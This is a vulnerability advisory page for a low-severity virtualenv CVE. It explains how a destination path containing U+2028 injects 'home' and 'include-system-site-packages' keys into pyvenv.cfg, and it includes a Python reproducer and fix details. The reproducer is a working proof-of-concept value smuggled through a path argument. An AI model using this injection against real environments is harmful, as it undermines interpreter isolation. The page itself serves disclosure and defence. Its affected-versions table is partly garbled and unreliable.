LowCVE-2026-113715

    virtualenv: Venv configuration readback can reinterpret path boundaries (CVE-2026-113715)

    Published Last modified Sources: OSV, Hersteller, CVE.org

    What is affected, what to do

    Update Pypa Virtualenv to version 21.14.9.

    Affected
    • Pypa Virtualenv lt *..21.14.9
    Fixed in
    • Pypa Virtualenv 21.14.9

    Not sure whether and how you are affected? Ask a question about this vulnerability

    Metrics

    2.0

    Priority

    XIEM Effective CVSS: highest available CVSS rating from NVD and vendor data.

    Source: Vendor (CNA), CVSS v4

    2.0

    CVSS v4

    Severity Low on the scale from 0 to 10.

    Source: OSV, Hersteller, CVE.org

    0.1 %

    EPSS score

    Low — model estimates < 1% exploitation likelihood.

    Source: FIRST EPSS, percentile 3.2

    Show all metrics
    Severity
    Low
    Priority (0–325)

    The priority score is a consolidated metric that condenses several individual signals into a single, action-guiding ranking: technical severity (CVSS), exploitation likelihood (EPSS), known-exploited status (KEV) and the context of the affected asset. The aim is to answer the only truly important question in vulnerability management: what first?

    Read in glossary
    40.08 Methodology
    Exploit maturity

    An exploit is code or a technique that specifically uses a concrete vulnerability to force unintended behaviour — such as executing code or escalating privileges. It is the tool that turns a theoretical flaw into a practical attack.

    Read in glossary
    no public PoC known
    XIEM Effective CVSS

    XIEM® is the tiered managed-security operating model from NEOSEC and a registered trademark of NEOSEC GmbH. It extends classic SIEM — the central collection, normalisation and correlation of security-relevant events — with endpoint forensics, network visibility and deception technology, and consolidates them into three building tiers: Sentry, Orchestrate and Command.

    Read in glossary
    2.0 Methodology
    CVSS v4

    CVSS is the globally established, open standard for assessing the technical severity of a vulnerability on a scale from 0 to 10. It describes how easily a flaw can be exploited and what damage it can cause — but not how likely its actual exploitation is. CVSS and the complementary EPSS deliberately answer different questions.

    Read in glossary
    2.0
    EPSS score

    The EPSS score is the absolute model output for an individual vulnerability: the estimated probability of real-world exploitation within the next 30 days, expressed as a value between 0 and 1 (i.e. 0 % to 100 %). A score of 0.42 means „the model estimates a 42 % chance of real-world exploitation within 30 days“.

    Read in glossary
    0.1 %
    Low — model estimates < 1% exploitation likelihood.
    EPSS percentile

    The EPSS percentile is the relative position of a vulnerability within all EPSS-scored CVEs, expressed as a value between 0 and 1. A percentile of 0.90 means „this CVE has a higher EPSS score than 90 % of all other scored CVEs“. Unlike the EPSS score, it is not a probability — but a positioning within a ranking.

    Read in glossary
    3.2
    Low — this CVE sits in the lower 10% of all CVEs scored today.
    KEV status

    The KEV catalogue is a list maintained by the US authority CISA of vulnerabilities for which active exploitation in the wild has been confirmed. It answers not the question „how severe?“ but „is it already being attacked?“ — thereby sharply prioritising patching.

    Read in glossary
    —
    Published
    CWE

    CWE is a catalogue of typical weakness types in software and hardware — such as flawed input validation, unsafe memory handling or poor authentication. Where a CVE names a concrete vulnerability in a concrete product, a CWE describes the underlying class of defect.

    Read in glossary
    CWE-93

    Detection rules

    No NEOSEC detection rule is available for this vulnerability yet.

    Classification under NIS2 and CRA

    Rule-based classification from exploitation status and severity. It does not replace a case-by-case assessment.

    NIS2

    NIS2 is EU Directive (EU) 2022/2555 to raise the level of cybersecurity across the Union. It substantially broadens obligations compared with the first NIS directive: more sectors, mandatory risk management, staged reporting duties and personal accountability of senior management.

    Read in glossary
    Handle the vulnerability in regular vulnerability handling under Art. 21(2)(e) NIS2.
    CRA

    The CRA is EU Regulation (EU) 2024/2847 setting horizontal cybersecurity requirements for „products with digital elements“ — from industrial controllers and software to connected consumer devices. For the first time manufacturers must ensure security across the entire product lifecycle, handle vulnerabilities and provide security updates.

    Read in glossary
    From 11.12.2027, Annex I Part II CRA requires manufacturers of affected products with digital elements to handle vulnerabilities without delay and provide security updates.
    ISO/IEC 27001

    ISO/IEC 27001 is the internationally leading standard for an information security management system (ISMS). It describes a risk-based, process-oriented framework to systematically plan, implement, review and improve information security.

    Read in glossary
    Control A.8.8, management of technical vulnerabilities: assess relevance to your systems, plan remediation and keep evidence.

    Description

    Summary

    The venv creator reads the standard library's generated pyvenv.cfg with splitlines() and merges all resulting keys over virtualenv's configuration. Line-boundary characters from destination data can therefore become configuration structure before output sanitization.

    Anthropic's OSS Scanner reported this as ANT-2026-6ZQHJ6VI in virtualenv-20261015-005, received on 15 October 2026.

    Affected area

    Configuration readback by the stdlib venv creator.

    Attacker-controlled input

    An untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a character that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.

    Affected code

    The relevant 21.14.8 source is in venv readback, configuration parser.

    Mechanism

    With --creator venv, virtualenv asks the standard library to create an environment, reads its pyvenv.cfg with str.splitlines(), and merges the parsed keys over virtualenv's chosen settings. CPython writes the destination into a command = value without escaping every character that splitlines() recognizes as a line boundary. A destination containing U+2028, for example, can therefore supply new home and include-system-site-packages keys during readback. Virtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.

    Reproduction and evidence

    The scanner used one destination value with U+2028 between home = /attacker/chosen, include-system-site-packages = true, and an absorbing x = key. A python -m venv --without-pip control kept the value inside its command line and reported the base interpreter's sys._home. virtualenv --creator venv --no-seed on the same value wrote separate injected configuration lines and its interpreter reported sys._home = /attacker/chosen. The path did not require a literal newline byte. The control establishes that the extra keys came from virtualenv's readback, not from the standard library's initial file alone.

    The altered home can change which standard-library files the interpreter loads if an attacker also controls that location; include-system-site-packages = true weakens environment isolation. Choosing the venv creator is required, either explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in 20.0.0b1. PR #3426 rejects line-boundary characters before creation and rebuilds the final configuration from selected settings.

    Attack sequence

    sequenceDiagram
        participant A as Destination supplier
        participant S as stdlib venv
        participant V as virtualenv readback
        participant C as Final pyvenv.cfg
        participant P as Environment Python
        A->>S: path contains U+2028 and home = /attacker/chosen
        S->>C: write path inside command value
        V->>C: read with splitlines()
        V->>V: parse suffix as separate keys
        V->>C: rewrite home and include-system-site-packages
        P->>C: read injected keys on startup
        C-->>P: sys._home changes and isolation is disabled
    

    Reproducer files

    The following files are from the scanner report for ANT-2026-6ZQHJ6VI. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

    repro

    #!/usr/bin/env python3
    import os
    import shutil
    import subprocess
    
    work = "/tmp/repro-venv-creator-cfg"
    shutil.rmtree(work, ignore_errors=True)
    
    # the attacker's input: the text of a destination path.
    # U+2028 ends a line for str.splitlines() but not for CPython's own pyvenv.cfg reader.
    # The slashes only make nested directories; the last key, x, absorbs the rest of the path.
    LS = "\u2028"
    dest = f"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env"
    
    base_python = os.path.realpath(shutil.which("python"))
    real_home = os.path.dirname(base_python)
    
    
    def pyvenv_cfg_lines(env):
        # split on "\n" only, as the interpreter does
        return open(f"{env}/pyvenv.cfg", encoding="utf-8").read().split("\n")
    
    
    def sys_home(env):
        # site.py sets sys._home from the `home` key of the environment's pyvenv.cfg
        probe = [f"{env}/bin/python", "-c", "import sys; print(sys._home)"]
        return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()
    
    
    # control: the same path through the standard library alone
    stdlib_env = dest + "-stdlib"
    subprocess.run([base_python, "-m", "venv", "--without-pip", stdlib_env], check=True)
    
    # attack: the same path through virtualenv; --creator venv is the one non-default option
    virtualenv_env = dest + "-virtualenv"
    created = subprocess.run(["virtualenv", "--quiet", "--no-periodic-update", "--no-seed", "--creator", "venv", virtualenv_env])
    if created.returncode != 0:  # refusing such a destination is a valid fix
        print("virtualenv refused the destination")
        print("OK")
        raise SystemExit
    
    # check
    stdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env)
    virtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)
    
    print("CONTROL  python -m venv wrote pyvenv.cfg:")
    for line in stdlib_cfg:
        print("    " + ascii(line))
    print(f"CONTROL  python -m venv: sys._home = {stdlib_home}")
    print("OBSERVED virtualenv --creator venv wrote pyvenv.cfg:")
    for line in virtualenv_cfg:
        print("    " + ascii(line))
    print(f"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}")
    
    keys_injected = "home = /attacker/chosen" in virtualenv_cfg and "include-system-site-packages = true" in virtualenv_cfg
    print("BUG" if stdlib_home == real_home and keys_injected and virtualenv_home == "/attacker/chosen" else "OK")
    

    Impact

    Destination path data can change configuration boundaries and therefore environment settings. The effect depends on which settings change and how the environment is subsequently used.

    Severity: low.

    Versions tested

    The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

    The fix rejects line boundaries in the supplied destination before filesystem access and checks the resolved path again before invoking stdlib venv. The final configuration is rebuilt from the selected interpreter and virtualenv options, without merging the intermediate stdlib file or its vendor-specific keys. Ordinary destination paths remain supported.

    Fix: PR #3426.

    Known mitigation

    Reject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported.

    Affected release

    • The problem reproduces on virtualenv 21.14.8.

    Credits

    Reported by Anthropic's OSS Scanner as ANT-2026-6ZQHJ6VI.

    Source: OSV (Open Source Vulnerabilities), GitHub Security Advisories, NVD (NIST), cvelistv5

    Affected products

    The following versions are affected. Older releases of the same product line are also vulnerable unless stated otherwise.

    Affected products
    Affected versionsFixed in
    pypavirtualenv
    • < 21.14.9
    • 21.14.9
    pipvirtualenv
    • < 21.14.9
    • 21.14.9
    pypivirtualenv
    • 21.10.0
    • 1.4.9
    • 21.2.1
    • 14.0.0
    • 16.4.1
    • 21.14.2
    • 14.0.3
    • 20.28.1
    • 16.7.12
    • 1.3.3
    • 1.0
    • 0.8.2
    • 21.7.6
    • 20.0.2
    • 20.0.32
    • 16.7.3
    • 20.23.1
    • 12.0.2
    • 1.4.2
    • 20.10.0
    • 20.29.2
    • 0.9.1
    • 21.2.2
    • 20.24.4
    • 21.7.7
    • 20.13.1
    • 20.0.6
    • 20.0.0b2
    • 20.0.13
    • 0.8.1
    • 20.33.1
    • 16.7.0
    • 1.6
    • 21.7.11
    • 20.22.0
    • 21.7.8
    • 21.6.0
    • 20.26.2
    • 1.4.7
    • 20.12.0
    • 15.0.3
    • 20.24.5
    • 20.26.0
    • 21.14.0
    • 20.38.0
    • 20.30.0
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —
    • —

    Vendors and products

    Weakness classes (CWE)

    • CWE-93Improper Neutralization of CRLF Sequences ('CRLF Injection')

      Base

      The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.

      Entry at MITRE CWE-93

    References & sources

    • github.compypa/virtualenv/commit/b0008a58885ded9227faf8f910c6c402712c750ax_refsource_MISC, web
    • github.compypa/virtualenv/pull/3426x_refsource_MISC, web
    • github.compypa/virtualenv/releases/tag/21.14.9x_refsource_MISC, web
    • github.compypa/virtualenv/security/advisories/GHSA-qmx5-4p3x-wvqfx_refsource_CONFIRM, web
    • NVD (NIST)vuln/detail/CVE-2026-113715advisory
    • github.compypa/virtualenvpackage

    Reanalysis & status changes

    Chronological NVD audit events for this CVE — reanalyses, CVSS updates, CPE diffs.

    1. CVE Modified134c704f-9b21-4f2e-91b3-4a467353bcc0

      • Reference: after https://github.com/pypa/virtualenv/security/advisories/GHSA-qmx5-4p3x-wvqf
      • SSVC: after {"id":"CVE-2026-113715","role":"CISA Coordinator","options":[{"exploitation":"poc"},{"automatable":"no"},{"technicalI…
    2. New CVE Receivedsecurity-advisories@github.com

      • Description: after virtualenv is a tool for creating isolated virtual python environments. Prior to 21.14.9, the stdlib venv creator reads generated pyvenv.cfg with str.splitlines() and merges parsed keys over virtualenv's selected configuration. An untrusted caller who influences the destination pathname can include a line-boundary character such as U+2028 to inject keys including home and include-system-site-packages, causing path data to change configuration structure before final output. Setting include-system-site-packages to true weakens environment isolation, while an altered home can change which standard-library files the interpreter loads if the attacker also controls that location. The builtin creator does not use this readback path. This issue is fixed in version 21.14.9.
      • CVSS V4.0: after AV:L/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
      • CWE: after CWE-93
      • Affected: after New affected value received. <a href="https://github.com/CVEProject/cvelistV5/blob/main/cves/2026/113xxx/CVE-2026-113715.json">CVE-2026-113715</a>
    Embed badge

    Show the severity and KEV status of this vulnerability on your site – with a link back here. The image is updated hourly.

    Badge preview for CVE-2026-113715
    <a href="https://intel.neosec.eu/en/cve/CVE-2026-113715"><img src="https://intel.neosec.eu/badge/cve/CVE-2026-113715.svg?lang=en" alt="CVE-2026-113715 – NEOSEC Intel" height="20"></a>